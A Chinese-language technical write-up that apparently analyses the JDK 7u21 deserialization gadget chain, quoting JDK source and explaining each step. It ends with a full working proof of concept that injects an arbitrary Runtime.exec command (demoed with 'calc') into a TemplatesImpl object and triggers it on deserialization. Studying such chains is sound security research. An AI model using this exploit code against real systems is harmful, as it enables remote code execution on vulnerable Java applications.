JDK7u21
反序列化漏洞所用到的类都是 JDK
自带类,对其做了详细分析,记录一下.
主要涉及类和接口包括:LinkedHashSet
、HashSet
、HashMap
、TemplatesImpl
、AbstractTranslet
、Proxy
、AnnotationInvocationHandler
.
涉及知识点:Java 反序列化、反射、动态代理.
环境:jdk1.7.0_21
、IDEA 2019.2
getTransletInstance() 方法
当 _class
字段为 null
时,会调用 defineTransletClasses()
方法,然后执行 _class[_transletIndex].newInstance()
语句( newInstance()
会调用 _class[_transletIndex]
的无参构造方法,生成类实例对象).
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
defineTransletClasses() 方法分析
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } // 遍历 _bytecodes(byte[][]) 数组,使用类加载器将字节码转化为 Class for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); // 获取 Class 的父类 final Class superClass = _class[i].getSuperclass(); // 如果 Class 的父类名是 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",为 _transletIndex 赋值,否则调用 Hashtable 的 put 方法为 _auxClasses 字段增加值 // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
调用 getTransletInstance()
方法在 newTransformer()
方法中也有调用,并且不需要前置条件即可调用. 所以实际调用 newTransformer()
或 getTransletInstance()
方法都可以.
首先构造 Foo
类,该类实现了 Serializable
序列化接口.然后使用 ClassPool
修改 Foo
类,因为为 _transletIndex
设置值时,父类名必须为 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
,所以调用 clazz.setSuperclass(xxx)
设置 Foo
类的父类.另外调用类的无参构造方法时触发我们想要执行的代码,所以可以给 Foo
类的默认构造方法添加我们想执行的代码,或者构造静态代码块添加我们想执行的代码.
1、通过 ClassPool
构造字节码.
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); // 新增搜索路径到 pathList 中 pool.insertClassPath(new ClassClassPath(Foo.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); // 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象 final CtClass clazz = pool.get(Foo.class.getName()); // 构造静态初始化语句,后面用到 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; // 在类中设置静态初始化语句 clazz.makeClassInitializer().insertBefore(cmd); // 设置类名 clazz.setName("com.Pwner"); // 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象 CtClass superC = pool.get(abstTranslet.getName()); // 设置父类为 abstTranslet clazz.setSuperclass(superC); // 将类转换为二进制 final byte[] classBytes = clazz.toBytecode(); // 使用 Reflections 反射框架为 _bytecodes 字段赋值 Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // 使用 Reflections 反射框架为 _name 字段赋值 Reflections.setFieldValue(templates, "_name", "Pwner"); return templates; } public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; }
2、直接构造 Java
类,生成 class
文件,读取 class
文件并转换为字节码数组.
构造 Java 类 Foo.java import java.lang.Runtime; import java.io.Serializable; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; public class Foo extends AbstractTranslet implements Serializable { private static final long serialVersionUID = 8207363842866235160L; public Foo(){ try{ java.lang.Runtime.getRuntime().exec("calc"); }catch(Exception e){ System.out.println("exec Exception"); } } public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } 读取 class 文件,生成字节码数组 InputStream in = new FileInputStream("class path"); byte[] data = toByteArray(in); private static byte[] toByteArray(InputStream in) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buffer = new byte[1024 * 4]; int n = 0; while ((n = in.read(buffer)) != -1) { out.write(buffer, 0, n); } return out.toByteArray(); }
将生成的字节码通过 Reflections
反射框架为 _bytecodes
字段赋值,这时 TemplatesImpl
对象就已经构造好了,只需要调用
newTransformer()
或 getTransletInstance()
方法即可触发.
由上面知道,我们需要找到一个序列化类,并且此序列化类能够调用 TemplatesImpl
对象的 newTransformer()
或 getTransletInstance()
方法. AnnotationInvocationHandler
类中的 equalsImpl
方法正好符合.
AnnotationInvocationHandler
类中存在 var8 = var5.invoke(var1);
语句(通过反射调用 var1
对象的 var5
方法),分析一下 equalsImpl
方法.
private Boolean equalsImpl(Object var1) { // 判断 var1 和 this 对象是否相等 if (var1 == this) { return true; // 判断 var1 对象是否被转化为 this.type 类 } else if (!this.type.isInstance(var1)) { return false; } else { // 根据 this.type 获取本类的所有方法 Method[] var2 = this.getMemberMethods(); int var3 = var2.length; // 遍历从 this.type 类中获取的方法 for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); // 查看 this.memberValues 中是否存在 key 为 this.type 类中的方法名 Object var7 = this.memberValues.get(var6); Object var8 = null; // var1 如果为代理类并且为 AnnotationInvocationHandler 类型,返回 Proxy.getInvocationHandler(var1).否则返回 null AnnotationInvocationHandler var9 = this.asOneOfUs(var1); // var9 不等于 null 时,执行 if 语句,否则执行 else 语句 if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { // 调用 var1 对象的 var5 方法. 如:getOutputProperties.invoke(templatesImpl),就会调用 templatesImpl 对象的 getOutputProperties 方法 var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } }
所以当我们调用 equalsImpl
方法,并且想要成功执行到 var5.invoke(var1)
时,需要满足几个条件:
1、var1 != this;
2、var1 对象能够转化为 this.type 类型,this.type 应该为 var1 对应类的本类或父类;
3、this.asOneOfUs(var1) 返回 null.
而想要通过反射执行 TemplatesImpl
对象的方法, var1
应该为 TemplatesImpl
对象,var5
应该为 TemplatesImpl
类中的方法,而 var5
方法是从 this.type
类中获取到的.通过查看 TemplatesImpl
类,javax.xml.transform.Templates
接口正好符合,这里最终会调用 getOutputProperties
方法.
equalsImpl
方法的调用在 invoke
方法中.分析 invoke
方法,想要调用 equalsImpl
方法,需要满足:
1、var2 方法名应该为 equals;
2、var2 方法的形参个数为 1;
3、var2 方法的形参类型为 Object 类型.
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0; if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
Annotationinvocationhandler
类 invoke
方法的调用涉及 Java
的动态代理机制,动态代理这里不再详细叙述,直构造代码:
TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); HashMap map = new HashMap(); map.put(zeroHashCodeStr, "sss"); // 使用 Reflections 反射框架创建 AnnotationInvocationHandler 对象,并设置 type 和 memberValues 字段值 InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler"). newInstance(Templates.class, map); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1); allIfaces[0] = Templates.class; // 生成代理类,实现 Templates 接口,代理对象为创建的 AnnotationInvocationHandler 对象 Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler); templates.equals(templatesImpl);
通过执行 templates.equals(templatesImpl);
最终触发我们想要执行的语句.
通过以上我们知道,最终需要调用 templates.equals(templatesImpl);
才能触发我们想要执行的语句.
在 HashMap
的 put
方法中存在 key.equals(k)
语句,如果 key
为 templates
对象,k
为 templatesImpl
对象,则正好触发我们构造的调用链.但是执行 key.equals(k)
语句需要有前提条件:
1、HashMap 存入两个 key 的 hash 值相等,并且 indexFor 计算的 i 相等;
2、前一个 HashMap 对象值的 key 值不等于现在存入的 key 值;
3、现在存入的 key 值为 templates 对象,上一个存入的 key 值为 templatesImpl 对象.
public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; }
所以我们可以进行像这样构造. 但是发现前提条件 1
并没有满足,所以需要看一下 hash
方法.
HashMap hashmap = new HashMap(); hashmap.put(templatesImpl, "templatesImpl"); hashmap.put(templates, "templates");
hash
方法中实际调用了传入 k
的 hashCode
方法. 所以实际调用的是 templatesImpl
和 templates
对象的 hashCode
方法.
final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); }
TemplatesImpl
类没有重写 hashCode
方法,调用默认的 hashCode
方法.templates
对象对应的代理类重写了 hashCode
方法,实际调用 AnnotationInvocationHandler
类的 hashCodeImpl
方法.分析一下这个方法, 发现这个方法会遍历 this.memberValues
,每次用上一次计算的值加上 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
,而 memberValueHashCode
方法中知道,如果 this.memberValues
值的 value
值的类不是数组,就会返回该 value
值的 hashCode
值.如果 this.memberValues
只有一个 map
对象,并且 127 * ((String)var3.getKey()).hashCode()
计算的值为零,map
对象的 value
值为 templatesImpl
对象时,能够使得 HashMap
两次 put
值的 key
值相等.所以在创建 AnnotationInvocationHandler
对象时,传入的 map
对象,key
的 hashCode
值应该为零,value
值为 templatesImpl
对象.
private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; }
这时我们构造的代码如下:
TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, templatesImpl); System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler"). newInstance(Templates.class, map); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1); allIfaces[0] = Templates.class; Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler); HashMap hashmap = new HashMap(); hashmap.put(templatesImpl, "templatesImpl"); hashmap.put(templates, "templates");
我们最终是要通过反序列化里触发我们的调用链,所以我们需要在 readObject
反序列化方法中寻找是否有调用 map
的 put
方法.在 HashSet
的 readObject
反序列化方法中会循环往 map
对象中 put
值.根据 writeObject
序列化我们知道,每次写入的对象为 map
的 key
值.所以我们创建的 LinkedHashSet
对象时,首先写入 templatesImpl
对象,然后写入 templates
.然后调用 writeObject
写入 LinkedHashSet
对象.使用 LinkedHashSet
来添加值是因为 LinkedHashSet
能够保证值的加入顺序.
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); // Read in HashMap capacity and load factor and create backing HashMap int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); // Read in size int size = s.readInt(); // Read in all elements in the proper order. for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
最终 POC 如下:
public class JDK7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "ssss"); System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler"). newInstance(Templates.class, map); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1); allIfaces[0] = Templates.class; Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler); LinkedHashSet set = new LinkedHashSet(); set.add(templatesImpl); set.add(templates); // 此处将 key 为 "f5a5a608" 的 map 对象的 value 值设置为 templatesImpl 是因为如果在 set.add(templates) 之前设置,则会令 LinkedHashSet 两次增加的 hash 值相等,在写入序列化对象前触发调用链. map.put(zeroHashCodeStr, templatesImpl); //序列化 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("D://JDK7u21.ser"))); objectOutputStream.writeObject(set);//序列化对象 objectOutputStream.flush(); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://JDK7u21.ser")); objectInputStream.readObject(); } public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); // 新增搜索路径到 pathList 中 pool.insertClassPath(new ClassClassPath(Foo.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); // 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象 final CtClass clazz = pool.get(Foo.class.getName()); // 构造静态初始化语句,后面用到 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; // 在类中设置静态初始化语句 clazz.makeClassInitializer().insertBefore(cmd); // 设置类名 clazz.setName("com.Pwner"); // 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象 CtClass superC = pool.get(abstTranslet.getName()); // 设置父类为 abstTranslet clazz.setSuperclass(superC); // 将类转换为二进制 final byte[] classBytes = clazz.toBytecode(); /*InputStream in = new FileInputStream("F:\\Foo.class"); byte[] data = toByteArray(in);*/ // 使用 Reflections 反射框架为 _bytecodes 字段赋值 Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // 使用 Reflections 反射框架为 _name 字段赋值 Reflections.setFieldValue(templates, "_name", "Pwner"); return templates; } public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; } }